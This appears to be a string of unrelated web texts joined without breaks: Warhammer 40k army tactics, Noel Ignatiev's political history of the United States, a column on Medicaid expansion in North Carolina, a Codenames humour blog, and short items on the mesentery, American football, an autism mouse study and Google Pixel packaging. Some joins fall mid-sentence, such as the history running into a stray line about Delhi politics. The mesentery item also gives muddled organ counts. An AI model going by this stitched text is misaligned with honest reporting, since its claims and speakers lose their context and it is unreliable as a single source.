Other powers to shoot for here: Sanctuary (the hounds ignore the nerf from the power and then have a 4++/4+ Feel no Pain with Eternal Warrior with Endurance buff as well), Shriek for obvious reasons, Cleansing Flame, Gate of Infinity to keep you from getting pinned down in a long combat (which will be rare anyway). Warp Speed on the Black Mace sorcerer makes him a devastating opponent. Summoning for throwing more hounds or bloodletters out to cut off lanes of approach by units that look to tarpit you in a later turn. Obviously you can see how stacking these can amount to a unit of insane power. With 5 sorcerers all ML 3, you are nearly guaranteed to get Endurance and Invisibility at minimum.
Once you've generated the powers, if possible you need to take turn 1. It's important to get your star powered up before your opponent can nuke it on alpha strike. That's where the void shield comes into play. It buys you time. 100 points is a lot to pay just to protect this unit, but factor in it will also be protecting your Chaos Knight as well, and it's well worth the investment. You can position the star stretched out to ensure that your units are all within the shield on turn 1 and your opponent cannot get in the bubble.
Do not scout the army. It really does nothing for you to scout this army. You're looking to hit the enemy hard by turn 2 and coupled with the Chaos Knight moving across the board, your opponent will have a lot to worry about.
As the game continues, this group needs to be spread out across the field. Board control is the key here. You're going to need to multi-assault units in order to get the most out of them. With all those strength 6 and higher attacks, combined with the black mace, and the khorne juggerlord to soak challenges, you should be able to wipe multiple units out as the turns continue. By turn 3 or 4 you're probably going to have to break off sorcerers to go engage stranded enemy units around the board.
The Cabal star is devastating. There isn't much that can stand up against it. It is my own opinion that the Cabal is even better than it's imperial predecessor, the Librarius Conclave. With ITC rules, you have maybe 2 powers you can cast in that conclave if you channel for 2+ warp charge. With the Cabal you have anywhere from 15-16 powers you can crank out, all with re-rolls because of the spell familiar.
The one thing the star lacks is hit and run, something that tends to be crucial in similar Death Stars but with the amount of damage the unit is capable of putting out, even against super heavies and GMCs, it should rarely be pinned in combat for longer than a full round of combat.
I suspect we will be seeing a lot more of the cabal star and its variations hitting the tourney scene in the months to come.Introduction to the United States: An Autonomist Political History, Noel Ignatiev
PUBLISHER'S INTRODUCTION
This history was initially produced in 1978 as part of a larger project aimed at the further development of an international, extra-parliamentary,revolutionary political tendency. Two national components of this movement, Sojourner Truth Orgaaization in the U.S. and Revolutionary Struggle in Ireland, agreed to exchange delegations toward that end, and as part of this process each produced a political history of its country to be distributed on a national tour of the other, host country. This is the first U.S. publication of the manuscript, written by S.T.O. member Noel Ignatiev, taken to Ireland by the S.T.O. delegation.
This exchange was part of a dialogue that begs for more. Many readers will find this statement's rendition of U.S. history of use in study and discussion groups, as an analysis that has more than withstood the test of time and is still to be grasped and appreciated by most of the left in this country. But its value can best be measured by the practical direction it provides on issues that continue to plague the world revolutionary movement.
Few relationships arc as intriguing and potentially instructive as that between U.S. politics and the Irish national liberation struggle. This is true both because the Irish have such strong ties to the Irish-immigrant population of the U.S. working class - and therefore to the U.S. working class as a whole - and because the Irish are European rebels against a bastion of white imperialism, Britain. More than a few U.S. radicals have sought to develop this convergence. One theory is that the Irish can provide a pole of anti-imperialist struggle among workers of European extraction in the U.S., and in doing so link together the U.S. workers' struggle with Irish nationalism and national liberation in general. The bridge between anti-imperialist struggle, especially by peoples of color, and white workers would thus be built upon the framework of the Irish independence movement.
This line of thinking has failed in practice because of the overriding effect of white supremacism. The Irish immigrants, with few exceptions have chosen despite their long and bitter struggle against the British - to identify themselves as white people. The turning point in this process was 1842, when the Liberator, Daniel O'Connell, issued an appeal to Irish-Americans to join in the anti-slavery movement. They angrily rejected his appeal, saying that if forced to choose between love for Ireland and loyalty to the institutions of their new country, they would choose America, which in that context meant they chose to be white.
Ignatiev's analysis, true to both S.T.O. and the international network it was part of, also emphasizes the independent and embryonically revolutionary character of mass working class Initiatives. as the strategic basis for the development of a revolutionary bloc of forces in developed capitalist areas, but not without reference to the issue of white supremacism. Given the obstacle of white consciousness and behavior, the creation of a general revolutionary stance on the part of workers of European descent depends fundamentally on their rejection of whiteness in the process of their struggle. In practice this means that any proletarian revolutionary project in the U.S. in particular must be simultaneously based on a mass challenge to capitalism and white supremacy. Absent a challenge to white supremacy, anti-capitalist initiatives will certainly lapse into partial white-oriented reforms, at best, and white populist or fascist movements, at worst.
At the time of this publication, with the collapse of Stalinism throughout Europe already accomplished, the intrusion of Western capitalism into Eastern Europe suggests not just the imminent subjugation of millions of workers to Western-style class domination, but also the development of a vast transatlantic White Empire. The revolutionary possibilities of the world working class have surely increased with the collapse of Stalinism, but the potential is as forebodingly white supremacist as it is proletarian. In the end, our ability to understand, confront and overcome white supremacism within the working class movement will be of utmost importance. Toward that end, we present this booklet.
Lowell May
January, 1992
PREFACE
I wrote this piece in 1980 on the occasion of a visit to Ireland of delegates from the Sojourner Truth Organization sponsored by the Irish group, Revolutionary Struggle. It was intended to introduce STO to an Irish audience. Final Conflict Publishing, which is reprinting it, has been kind enough to invite me to write a new preface.
The main correction I would make is in the treatment of "the national question." I conceded too much to those who held that the defining conflict of the epoch is between oppressing and oppressed nations. That view, drawn from some of Lenin's writings, had by 1980 come to prevail in STO. It cannot do justice to the complex and continuing process of recomposing race and class in the United States. Instead of describing the U.S. as a "cauldron of national oppression," I would describe it as a place where the stratification of the proletariat takes the form of historically constructed "races."
The section on the seventeenth century draws heavily on the work of Ted Allen. While I agree that the white race has functioned throughout American history as a social control formation, I now question whether its birth was as much a top-down process as the document suggests.
In addition, there are a number of omissions due largely to my own ignorance: foremost among these are religion as a locus of the radical tradition, the class struggle in the 18th century, and the contribution of the native peoples to American life. I do not regard the above enumeration as exhaustive.
Noel Ignatiev June 1991
INTRODUCTION
What would the United States be like without black people? The answer to this question can be found by considering a country like Canada, which resembles the U.S. in many ways - a vast area of great natural resources, sparsely settled by native peoples before European colonization. Canada differs from the U.S. in only one significant particular - it was never given over to African slavery, nor was it ever implicated in the slave trade. And this particular is at bottom responsible for the difference between one country which has dominated world politics throughout this entire century and today constitutes the biggest exploiter of peoples on a world scale, and another whose impact on world affairs has been far more limited. If, in the document that follows, we devote a great deal of attention to the history of the "race question" in the U.S., it is not because we are humanitarians but because we recognize it as the key to the history which has made us what we are today, and the key to any future transformation we hope to achieve. It is also because the matter is understood by few people, and not more widely in the U.S. than other places. Space limitations will prevent us from going into much detail on any subject; yet since the Civil War and Reconstruction constitute the pivot of U.S. history, we shall spend some time on it. The portion of the document setting forth the positions of our organisation on current questions is necessarily truncated. We hope that our treatment of the history will enable the reader to comprehend what we stand for and how, in general, we propose to proceed. We wish to express our gratitude to our comrades in Revolutionary Struggle who have given us this opportunity to communicate directly with their own constituency, on this occasion of our 1980 trip to Ireland. THE SHAPING OF AMERICA Contrary to general belief, the first African laborers to arrive in the English colonies did not come as slaves, and the first European laborers did not come as free men and women. The labor force in the 17th century was composed of indentured servants imported from both Africa and the British Isles. They were bonded for a specified period, usually seven years, after which they became legally free. The rulers of colonial Virginia were faced with two problems: in addition to the labor shortage, there was the question - who would police the laborers, who were not easily reconciled to conditions of servitude in a continent where land was available for the taking?
The colonies were not rich enough to support a professional police force of sufficient size. It was essential that one part of the labor force be enlisted to police the other - while remaining laborers themselves. Could Africans fill that role? Such a solution would hardly encourage emigration from England, on which the colonies were still dependent. Therefore, the English would have to be won to perform that function.
Such a role was by no means natural to them. English and African bonded laborers lived under much the same conditions of hardship, so severe that a large portion of them failed even to survive their period of indenture, and they reacted to their oppression as do laborers everywhere, by drawing closer together, intermarrying, plotting escape - and by revolt.
The growing solidarity among the laborers broke out in several bloody revolts, which threatened the security of the government of the Virginia colony (which had two-thirds of the total population of the English colonies as a whole). In a response which is remarkably well documented, the colonial rulers turned, around the middle of the 17th century, to a policy of drawing a line between the English and African bond laborers. Certain privileges - the first being the exemption of female European bond laborers from field work - were conferred on the former, while special laws were passed to fix the status of the Africans: extending the term of servitude until it became permanent and then hereditary, imposing a pass system, denying them the right to carry arms, etc.
The process of encoding the new status took about a half-century, and marks the birth of the "white race" as a social category - the emergence of a class of laborers whose community of interests with their exploiters was legally and publicly affirmed, and who functioned to maintain social control over the entire labor force, themselves included. By 1705, the rulers of the Virginia colony felt sufficiently confident of the support of their European proletarians to specify that white bond laborers finishing their period of indenture be given a musket. What a change from barely a generation earlier, when rebel forces -European and African - beseiged, captured and burned the colonial capitol of Jamestown and sent the governor fleeing across the Chesapeake Bay, the same bond laborers who, between the years 1663 and 1682 hatched no less than ten servile revolts and revolt plots!
Left historians who are critical of the characterization of the U.S. as the "Land of Liberty" commonly assert that the much vaunted democracy depends on the denial of rights to the African, Native American and other people of color. This is a good example of the "appearance" being the reverse of the "essence" - the development of a system of racial slavery and national oppression depended on the extension of democratic rights to the "white" population as a whole. As early as the 18th century there had emerged the pattern which was to define the distinctive course of U.S. history: U.S. society is not merely bourgeois but bourgeois white supremacist; tilt U.S. working class movement has been, in the main, not merely opportunist but white racist opportunist; the main form of opportunism in the working class movement is not merely white racism - an idea - but the acquiescence of the white workers in the system of white skin privileges imposed by the bourgeoisie.
The country never passed through a feudal stage of development. The American War for Independence, while it had progressive features, was not a war of a rising bourgeoisie against the forces of feudal absolutism, but instead a conflict between the merchant class of New England (allied with indebted southern planters) and the colonising power over who would reap the vast profits of the slave trade; over which would be the third corner of the famous "triangle trade" described by slaves captured in Africa, rum and tobacco produced in the West Indies, and manufactured goods from either Liverpool of Massachusetts.
The decades following the establishment of the American Republic saw the emergence of two systems of exploitation: direct slavery in the South, supporting the cultivation first of tobacco and later of cotton; and manufacture based on wage labor in New England and the Middle Atlantic states. The history of the U.S. for the half-century preceding the Civil War is a history of the growing encroachment of the slaveowner's power on the federal government. The Seminole Wars, which were fought in Florida from 1819 to 1821 and which were efforts to recapture slaves who had escaped to join local Indian tribes; the Missouri Comprise of 1820, which extended slavery to the western territories; the 1836 to 1848 wars to wrest from Mexico the vast area that today makes up the states of Texas, New Mexico, Arizona, California, Nevada and Colorado; the filibustering in Central America and the efforts to annex Cuba, the Kansas-Nebraska Bill of 1854 and the Dred Scott decision of 1858, which between them struck down the last legal obstacle to the spread of slavery throughout the entire country; and the efforts to restore the slave trade which had been abolished in 1808 - these events testify to the increasing subservience of the national government to 30,000 slaveholding families.
The slave system required for its survival continued expansion into new territory. Wage labor capitalism required the continued expansion of the internal market, which was impeded by slavery. The forces upholding wage capitalism organized themselves first into the Free Soil Party, then into the Republican Party, around a program of opposing the extension of slavery into new territories. When the Republican Party won the election with a bare plurality of votes among four major candidates, the impending conflict had become irrepressible.
The Civil War began with both sides fighting for slavery - the South to take it out of the Union, the North to keep it in. The real aim of the South, however, was not to secede from the Union but, by secession and war, to reorganize it on a new basis, with the "peculiar institution," slavery, as the foundation of an empire stretching from the Great Lakes to Central America.
The aims of the northern manufacturing bourgeoisie were modest: simply to restrict slavery to those areas where it already existed. As beflued this modest aim, President Lincoln at first pursued a cautious policy, going out of his way to assure the so-called border states (those states where slavery existed but the plantation system did not) that he had no intention of abolishing slavery. The federal military policy, of avoiding decisive batlle while attempting to woo the South back into the Union, reflected this stage of the conflict.
This stage did not last long. Two things brought about a change. First was the attitude of the whites enlisted in the Union cause. They opposed the spread of slavery and the breakup of the Union but were hardly enthusiastic supporters of a war that was bringing them extreme hardship while enriching their employers through government contracts. They showed their feelings early by a series of draft riots in New York, Cincinnati and elsewhere that commonly took the form of mob attacks on free blacks.
The second factor making for a change in government policy was the role of the blacks themselves. For decades, free blacks had been the mainstay of the small organizations advocating the abolition of slavery, and the escaped slaves had been both a severe drain on the slave economy and a call to the conscience of the country. Besides running away, the slaves also had developed various means of striking and resisting their exploitation, including launching numerous revolts, the most well known led by Gabriel Prosser, Denmark Vesey and Nat Turner. Now, as the War began, the black people began to see it as part of their struggle for freedom. Free blacks in the North understood that the cause of abolition was linked to a Union victory, in spite of Lincoln's protestations that he had no anti-slavery aims. While pressuring the government at all levels to broaden the War to one against slavery, they began to enlist in the Union armies, often against giant obstacles placed in their way by the government which did not want them as soldiers. The famous song, John Brown's Body, commemorating the great revolutionary abolitionist who gave his life struggling against slavery, was written and sung by the Massachusetts 54th Regiment, one of the all black units (commanded by white officers).
At first the slaves watched and waited; it was not yet clear where their interests lay. So long as they worked the cotton, the South could place in the field of battle a disproportionate number of its white manhood. The first attempts made by the slaves to join the Union cause were repulsed; fugitive slaves, making their way to Union army camps in the South, were sent back to their owners. Gradually, under the pressure of necessity, the Union's policy began to change: fugitive slaves were reclassified as "contraband of war" and put to work building fortifications, etc. Soon they were enlisted as scouts and spies for the Union armies.
By 1863, the attempt to wage a war against a force whose strength and weakness both lay in the institution of slavery brought about a change in Lincoln's policy. This was manifest in three things: first, the adoption of a more active military policy; second, the decision to encourage the enlistment and arming of Blacks; and third, the declaration of the aim of the war to be the abolition of slavery.
It should be noted that Lincoln's famed Emancipation Proclamation freed no one: it merely declared slavery abolished in those areas then in revolt, that is, those areas where it could not be enforced. But as a statement of intent, it was enough to "loose the fateful lightning" - the six hundred thousand black laborers who embarked on a great working class upsurge, beginning in 1863, a mass withdrawal of labor power - a general strike - which quickly brought the South to its knees.
THE AMERICAN COMMUNE
By 1865, the war was over. How to reconstruct the nation? To restore slavery was out of the question; the nearly two hundred thousand blacks who had fought in the Union armies and the six hundred thousand more who had carried out the general strike, as well as Northern public opinion, which felt a hatred toward the slaveowners, ruled out that possibility. Yet the abolition of slavery had actually increased the legislative authority of the former slaveholders, owing to an increase in the number of free men on whom representation was based. And the defeated but not yet crushed slaveowners were threatening to return to Congress to achieve there what they had failed to achieve on the battlefield: withdrawal of federal troops from the South, validation of the Confederate debt and restoration of slavery in all but name.
Lincoln and his successor as President, Andrew Johnson, attempted to reason with the former slaveholders, offering to readmit the Southern states to the Union with the sole condition that they formally accept the abolition of slavery. When it became clear that the arrogant lords of the lash had no intention of submitting even to this mild demand, public opinion turned toward a more intransigent policy of reconstruction.
Without the secessionist states in the Union, the Republican Party - the Party of northern capital, which had just carried out a war, to some extent in spite of itself, against slavery - held firm control of Congress. Within that Party, the radical wing, which was made up of genuine abolitionists and friends of the freed slaves along with others who recognised the need for stern measures to be taken against the South, gained ascendancy, initiating the period known as Reconstruction, which lasted from 1868 to 1876. For a brief moment, the interests of northern capital, which sought to break the former slaveholders' resistance, and the interests of the slaves and their friends intersected. It was this intersection that made possible the emergence of the former slaves as citizens and voters, a continuation of the process that had made them soldiers.
Once again, the turn in policy was prepared by the actions of the black people themselves, who were everywhere agitating, educating, organizing and arming themselves, in some places occupying the land of their former owners. These former slaves, taking advantage of the plight of the federal government which had forced it to rely on them, proceeded to carry the revolution forward.
The Reconstruction acts passed by the radical-dominated Congress disenfranchised former Confederate officials and stationed federal troops in the South to protect the voting rights of the former slaves. Under these conditions, Reconstruction was carried to its furthest extent in South Carolina and Mississippi, the two former pillars of the Confederacy and the only states with a black majority. Of the delegates to a convention called in South Carolina for the purpose of writing a new state convention, almost half were former slaves and another fourth were so poor that they paid no taxes. Has the world ever seen a parliament of purer proletarian composition?
The Reconstruction legislatures enacted a series of laws that brought the South the most extensive, and in some cases the only, social reform it has ever known. Child labor laws, free public education, women's property rights, credit structures to enable the poor to obtain land - these and other measures flowed out of the legislatures which the men of property, North and South, denounced as "parliaments of gorillas." And behind these legislatures stood the black masses. Their radicalism generally took the form of an agrarian radicalism, but occasionally went beyond this, as for instance when the New Orleans Republican Club sent a formal message of solidarity to the Paris Commune and applied for membership in the International!
And what of the white workers - what was their attitude toward these momentous changes? To answer that question, it is necessary to go back a bit, to before the Civil War. The trade union movement was basically a Northern phenomenon, since slavery had blocked the development of wage labor in the South. The unions well understood that free labor and slavery could not co-exist. Instead of opposing slavery, however, they opposed the slave, seeing in him the cause of their own degradation. Instead of enlisting behind the banner of abolition, which they feared would throw a mass of low-wage competitors on the labor market, the unions attempted to restrict the spread of slavery and free black labor as well, by supporting the Free Soil (for whites only) movement. On the very eve of the war, the unions took |
water shortages. According to Mr. Kejriwal, there is “an undercurrent” in Delhi against established political parties that was perceptible only to the poor, and to him. “People are fed up,” he said.The Atlantic’s Molly Ball wrote an interesting piece on Tuesday’s Republican Senate primary in North Carolina and how it became an intra-party proxy war pitting the GOP establishment against the Tea Party. Ball went to a Tea Party rally in support of candidate Greg Brannon, and came away with one hell of an anecdote about a woman who under any objective calculus would very much benefit from health coverage, but is deliberately keeping herself uninsured:
I struck up a conversation with a woman with spangly gold fingernails named Sharon Doyle, who spends her free time holding "Impeach Obama" and "Remember Benghazi" signs on highway overpasses a couple of times a month. A caregiver for the elderly who's had cancer and back surgery, she can't afford health insurance through her employer, but she refuses to visit the federal health-insurance website for ideological reasons. Of the Republican frontrunner, state House Speaker Thom Tillis, she had only disdain—"He's a RINO. I don't trust him"—and said she wouldn't vote in November if he became the nominee.
There’s a lot to mull over here. Obviously she’s made the decision that adherence to principle outweighs the benefit made available to her by the Affordable Care Act. You could make equally coherent arguments that she’s behaving admirably and being irresponsible. In the end it comes down to what you consider more important: the intellectual value placed on ideological consistency, or the moral value in access to healthcare.
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That’s why it’s a bit puzzling for her to call Thom Tillis, the victor of Tuesday’s primary who will face Sen. Kay Hagan in November, a RINO. Tillis made the same calculation she did: Ideology trumps moral value when it comes to expanding access to healthcare. The differences are that Tillis didn’t actually give up his health security, and his decision affected the entire state of North Carolina.
As speaker of the Republican-controlled North Carolina House of Representatives, Tillis led the opposition to expanding Medicaid in the state under the Affordable Care Act, effectively denying access to healthcare to as many as 500,000 North Carolina residents. He campaigned on that opposition to secure the Republican nomination: “Tillis stopped Obamacare’s Medicaid expansion cold. It’s not happening in North Carolina, and it’s because of Thom Tillis.” That message obviously resonates with deeply conservative voters who also put their ideological opposition to the health law ahead of its potential benefits.
As Obamacare takes hold, however, and its benefits start becoming tangible quantities instead of abstract political arguments, you have to start wondering when the moral imperative to improve healthcare access will overtake the ideological reasons for rejecting a policy that does exactly that.
A study that came out this week looked at the effect the 2006 healthcare reform law in Massachusetts had on mortality rates within the state. The authors found that the passage of the state reform package “was associated with a significant decrease in all-cause mortality compared with the control group.” Of particular note was their observation that “changes were larger in counties with lower household incomes and higher prereform uninsured rates.” As Jonathan Cohn observed, the study “suggests [Obamacare], implemented effectively, could save thousands of lives a year.”
Another study that came out this week from the University of Kansas Medical Center found that “Approximately 40,000 Kansans would benefit directly from Medicaid expansion by receiving critical cancer screening and prevention services.” One of the study’s authors said, “There are some people who will die of cancer because we’re not able to screen them or provide them with the prevention services they need.”
Studies like these provide substance to anecdotal examples of the Affordable Care Act saving lives, like that of Dean Angstadt, the die-hard Obamacare opponent who signed up for coverage just in time to have heart valve replacement surgery.
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Meanwhile, states that initially rejected the expansion of Medicaid are under pressure to reverse course, putting Republicans who oppose Obamacare in a tight spot. And it’s not hard to understand why. Expanding Medicaid is a great deal for the states – it covers the residents who are most in need of assistance, and it's paid for almost completely by federal dollars. Republicans arguing against this are left sounding like heartless ideologues as they explain why it’s better for the poor to remain wedged in the Obamacare coverage gap than to have faith that the federal government will meet its obligations.
In North Carolina, Thom Tillis’ well-publicized efforts to block the Medicaid expansion play well with conservatives, but they’re actually out of step with the state as a whole, if recent polling is to be believed. A New York Times poll from last month found that 54 percent of North Carolina registered voters favor expanding Medicaid in the state, compared to 36 percent who oppose it.
The simple explanation behind this is that people really, really like having access to healthcare. They see the unquestioned moral value in it. And while Obamacare opponents might think they’re riding high with their anti-big government sermonizing, it seems inevitable that the need to be insured will outweigh the desire to stick it to the socialists.
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More on Obamacare:Codenames is one of those games that you play and instantly think ‘why the hell didn’t this already exist?’. Beautifully simple, the game is essentially just a deck of cards containing random words.
So simple, in fact, that we thought we’d give it a go ourselves, using random junk we found around Best Play HQ.
We ask the burning question that (none of) you have been asking in your droves: what things can you Codenames off of?
Can you Codenames off of a Pokémon?
With Pokémon Go being literally the only bit of good news in 2016 what with all the cherished celebrities deaths, terrorist attacks and insane political dramas, it’s worth giving Codenames a bash using Pokémon instead.
Does it work? Just about, assuming all players know at least the basics of Pokey Men and Friends™.
Can you Codenames off of a Drink?
Delicious, lovely rum. Best Play is well-stocked with Rum, and has also accumulated a fine collection of half-drunk bottles of Schnapps from 2012, presumably expired flasks of Kahlúa and that old bottle of something from that Christmas party. You remember, where Glenn was sick on his shirt and was found in the bog using his jeans as a pillow. Oh come on, you must remember it. There was that long, shouldery guy trying to chat up your mum. Never mind.
Alcohol sure is yummy, but what if you used it for clue-based gaming instead of poisoning yourself?
Does it work? Not in any meaningful way. Rum is better for drinking.
Can you Codenames off of a other type of games?
Although Best Play is mostly about un-nerdifying stuff, we do own an awful lot of computer games. Because we are quite grossly unhealthy and the modern computer games were a whole flight of stairs away, we tried giving Codenames a go using the nearby slightly older computer games instead. It would probably work better with all Gameboy and N64 and Saturn and stuff, but we instead half-heartedly laid out the creme-de-la-creme of random games from about a decade ago.
Does it work? Yeeeeees. Yes. Yees. I reckon. If you’re playing with dweebos like us.
Can you Codenames off of a Nintendos?
Heyyyy all the Nintendo people are here! Gathered from a disgusting amount of Happy Meal consumption, this disorderly array of Nintendo intellectual property could be the very thing we’re looking for.
Does it work? No madam. No it does not.
Can you Codenames off of a board game including Codenames?
It’s like Inception, with board games inside the board game. Or like Xzibit with all his pimping of rides and putting little cars inside the big car. Or like Freaky Friday where the young girl swaps bodies with the old lady. Not that, actually. Anyway, this is quite a cool idea but needs most of the world to play it because board games tend to be quite big and take up precious space. Here are some of Best Play’s collection in Best Play’s bedroom – the place where the MAGIC* happens.
Does it work? Yeah, sort of. Not very replayable though, most of the clues are boring shit like ‘dice’.
*grown up things
Can you Codenames off of an Adventure Time?
♪ ♫ Codenames Time, come on grab your friends (if you have any). We’ll go to very distant … games. With Glenn the bot and Joel the human, the fun will never end. It’s Codenames Time ♪ ♫
Garbage.
Does it work? No, no no. Maybe if you’re really into the show but mostly no.
Can you Codenames off of real life?
A carefully curated selection of junk put together from things within arm’s reach in Casa Della Best Play. A snake. A lighter. A rat. A key. These things are a stunning window into the lives of board gamers. Thrilling just to think about, isn’t it?
Does it work? Shitting hell, it does. Save your money, folks, this has all been a scam.
Although it’s decent enough like this, it doesn’t actually work as well as the real McCoy, in truth. We also tried using shoes, beer cans, stationery and other scraps, but nothing quite beats it. Do yourselves a favour and grab a copy of Vlaada’s simple masterpiece here.A new organ has been discovered hiding in plain sight inside the human body.
A new organ has been discovered hiding in plain sight inside the human body.
Mesentery: A new organ has been discovered inside the human body by a scientist at Irish university
The organ is known as the mesentery and it was previously thought to be just a few fragmented structures in the digestive system.
But now scientists at the University of Limerick have realised it is in fact one, continuous organ.
Although its function is still unclear, the discovery opens up “a whole new area of science,” according to J Calvin Coffey, a researcher at the UL who first discovered it.
Professor J Calvin Coffey
"When we approach it like every other organ… we can categorise abdominal disease in terms of this organ," he said.
“Now we have established anatomy and the structure. The next step is the function. If you understand the function you can identify abnormal function, and then you have disease.
“Put them all together and you have the field of mesenteric science.”
Professor Coffey's research has been published in The Lancet medical journal.
A digital representation of the small and large intestines and associated mesentery J Calvin Coffey, D Peter O’Leary, Henry Vandyke Carter
Following its reclassification, medical students are now being taught that the mesentery is a distinct organ.
Gray’s Anatomy, the world’s most famous medical textbook, has been updated to include the new definition.
According to the UK Independent medical students and researchers can now investigate what role the mesentery might play in abdominal diseases, which it is hoped could ultimately lead to new treatments.
The organ is a double fold of peritoneum - the lining of the abdominal cavity - that holds our intestine to the wall of our abdomen.
The organ was first described by the Italian polymath Leanardo da Vinci in 1508, but it has been ignored throughout the centuries, until now.
Although there are generally considered to be five organs in the human body, there are in fact now 79, including the mesentery.
The heart, brain, liver, lungs and kidneys are the vital organs, but there are another 74 that play a role in keeping us healthy.
Online EditorsMark Duncan/Associated Press
Andrew Hawkins has yet to play a game for the Cleveland Browns, but it's safe to say he doesn't have many fans in the city right now.
Cleveland residents are on edge waiting to see where LeBron James decides to sign. The city is buzzing with optimism that the NBA superstar will return to Ohio and is ready to celebrate at the first sign of good news.
Even Hawkins was hopeful that there would be good news soon:
Fox Sports Ohio's Sam Amico reported that James was expected to make an announcement Thursday at 3:30 p.m. ET:
That tweet was followed up with a tweet from the wide receiver:
Hawkins, who signed with the Browns this offseason, used this opportunity to troll the fans of his new city:
People either believed that James had actually signed with Cleveland or assumed it was fake. However, once they clicked on the link, they soon found out that it took them to a story from 2006. That didn't go over well with some fans:
That's a bold move to mess with fans before you even play a game for your new team.
Meanwhile, Hawkins got a good laugh out of the situation:
Well played, Baby Hawk.
[Twitter, h/t CBS Sports]Spokane made changes to nearly 1/3 of its roster Monday, most notably signing OL Chris Pino (a familiar name to Shock followers), putting LB Beau Bell on injured reserve and placing WR Adron Tennell and DL Brandon Sharpe on league suspension.
I'm heading out to Shock practice in a couple minutes and I'll post a notebook later tonight.
More on Monday's moves below.
Spokane made nine player moves on a busy Monday, three days after an 84-63 Arena Football League loss to Utah.
Spokane signed offensive lineman Chris Pino, who has had two stints with the Shock, linebacker Kevin Ellison and quarterback Rob Kass. Reserve quarterback Adam Froman, who has missed the last two games for his wedding, was released.
Offensive lineman Cory Brandon was placed on Other League Exempt after signing with the San Diego Chargers. Linebacker Beau Bell, expected to depart for the CFL in the near future, was placed on injured reserve. Linebacker Frantz Joseph was activated from Refused to Report.p>New studies in pregnant mice using antibodies against fetal brains made by the mothers of autistic children show that immune cells can cross the placenta and trigger neurobehavioral changes similar to autism in the mouse pups.
A report on the research from investigators at the Johns Hopkins Children's Center published online in the Journal of Neuroimmunology expands on a 2008 report from the same team showing that mothers of autistic children tested positive for fetal brain antibodies. Antibodies are proteins the body naturally makes to attack foreign tissues, viruses or bacteria. Because a growing fetus is not "rejected" by the mother's immune system even though some of its DNA is "foreign" (from the father), scientists have long suspected that some combination of maternal and fetal biological protection is at work. The new research from Hopkins, however, suggests that the protective system is not perfect and that antibodies are not only made but are re-circulated back to the fetus through the placenta, possibly triggering inflammation in the brain and leading to a cascade of neurological changes resulting in neurodevelopmental disorders, such as autism.
Despite this new evidence, the researchers warn against over-interpreting the results, saying prenatal exposure to maternal antibodies is likely only one of several factors implicated in autism.
"Autism is a complex disorder and it would be naïve to assume there's a single mechanism that can cause it," says Harvey Singer, M.D., director of pediatric neurology at Hopkins Children's. "It's most likely the cumulative result of several factors, including genes, metabolism and environment. We believe we have identified one of these factors."
For the new study, Singer and colleagues injected antibodies from mothers of autistic children into pregnant mice and used several standard neurobehavioral tests to identify neurobehavioral changes in the pups. As control groups, they used offspring of mice injected with antibodies from mothers of nonautistic children and the offspring of mice who received no injections.
"Comparing mice to humans is tricky, and we should be cautious anytime we do so, but our findings strongly suggest that the behaviors we observed in the offspring of mice injected with fetal brain antibodies from human mothers did behave in a manner that mimics some behaviors seen in people with autism," Singer says.
Following the mice throughout adolescence (four to six weeks) and adulthood (four to six months), the Hopkins team measured novelty-seeking (or willingness to explore unfamiliar open spaces), response to loud noise, sociability and anxiety-like behavior.
Overall, mice exposed prenatally to antibodies from mothers of autistic children behaved more anxiously, spent less time in open spaces when placed in an elevated maze, and were overall more hyperactive, fretting back and forth between open and closed spaces in the maze and in an open field environment, both behaviors that in humans would equal abnormal activity.
Again, compared to control mice, the mice exposed to antibodies from mothers of autistic children were also more easily startled by loud noises and were less social, choosing to spend more time visiting an empty cage rather than one with a live mouse in it.
The differences among groups were less pronounced in the adolescent mice, but as the mice aged, researchers observed an increase in autism-like symptoms, a finding consistent with neurodevelopmental disorders in humans, who tend to develop new or more pronounced symptoms over time, investigators point out.
Comparing brain tissues from all groups of mice, researchers observed markedly more activation of microglia -- immune cells in the central nervous system activated during inflammation – in the brain tissues of the group injected prenatally with antibodies from mothers of autistic children.
In further studies, the Hopkins scientists hope to identify which specific brain proteins the antibodies affect and to correlate changes in brain anatomy and function to changes in behavior.
Ultimately, researchers hope to develop ways to detect and analyze culprit antibodies in pregnant women and prevent them from binding to fetal brain proteins.
The causes of autism, a disorder manifesting itself with a range of brain problems, impaired social interactions, communication disorders and repetitive behaviors, remain unknown for an estimated 90 percent of children diagnosed with it. Genetic, metabolic and environmental factors have been implicated in various studies of autism, which affects an estimated 1 in 150 U.S. children, according to the Centers for Disease Control and Prevention.
Co-authors: Mikhail Pletnikov, M.D., Ph.D., Christina Morris, Colin Gause, Matthew Pollard, all of Hopkins; and Andrew W. Zimmerman, M.D., of the Center for Autism and Related Disorders at the Kennedy Krieger Institute.
The study was funded by the Hussman Foundation.Update 3/13/17: Google tells us that the company has not made any revisions to the Google Pixel or Pixel XL hardware, and says that the “Rev. B” seen on the device’s box has nothing to do with the device, but is rather an identifier for the packaging itself. Google says it has, however, made “small improvements” to the manufacturing process to reduce the ‘likelihood of an audio codec failure.”
Google has not made any revisions to the Pixel or Pixel XL hardware. We have made some small improvements to our manufacturing process to further reduce any likelihood of an audio codec failure.
Update 3/12/17: The letter at the end of the SKU relates to color, but it still seems that the “Rev. B” you can see behind the sticker is referring to a hardware revision. We’ll update this article again when we learn more.
The original story follows:
Minor hardware revisions are quite common over the lifetime of a device. For one Google-related example, the Nexus 4 received a slight design change that added nubs to raise the phone on flat surfaces. It now appears that revised Google Pixels are in the wild, likely packing fixes for recent hardware issues…
Perhaps meant to address microphone issues that were uncovered earlier this week, one recent Pixel owner in Europe noticed “Rev. B” printed on their Pixel’s retail packaging.
One problem this supposed revision might fix is the Pixel’s microphone issue, which causes all three of the device’s microphones to fail due to “a hairline crack in the solder connection on the audio codec.” Resulting in other audio processing issues, the issue may come and go due to temperature changes and even how you hold your phone.
Since late January, Google has taken steps to reinforce the solder connection during manufacturing:
Also, we have been taking additional steps to reinforce the connection at time of manufacture on phones built since January. Phones manufactured in the last month should not have this problem. For phones manufactured before then, the incidence of the problem is <<1%. I know this thread makes it seem much more prevalent, but there is a selection bias at work here.
Be sure to sound off in the comments if you’re a recent Pixel owner that has received this supposed Rev B hardware. Going to ‘About phone’ in Settings only lists the phone’s general model number, so the box is likely the only place to easily see if you have this model.
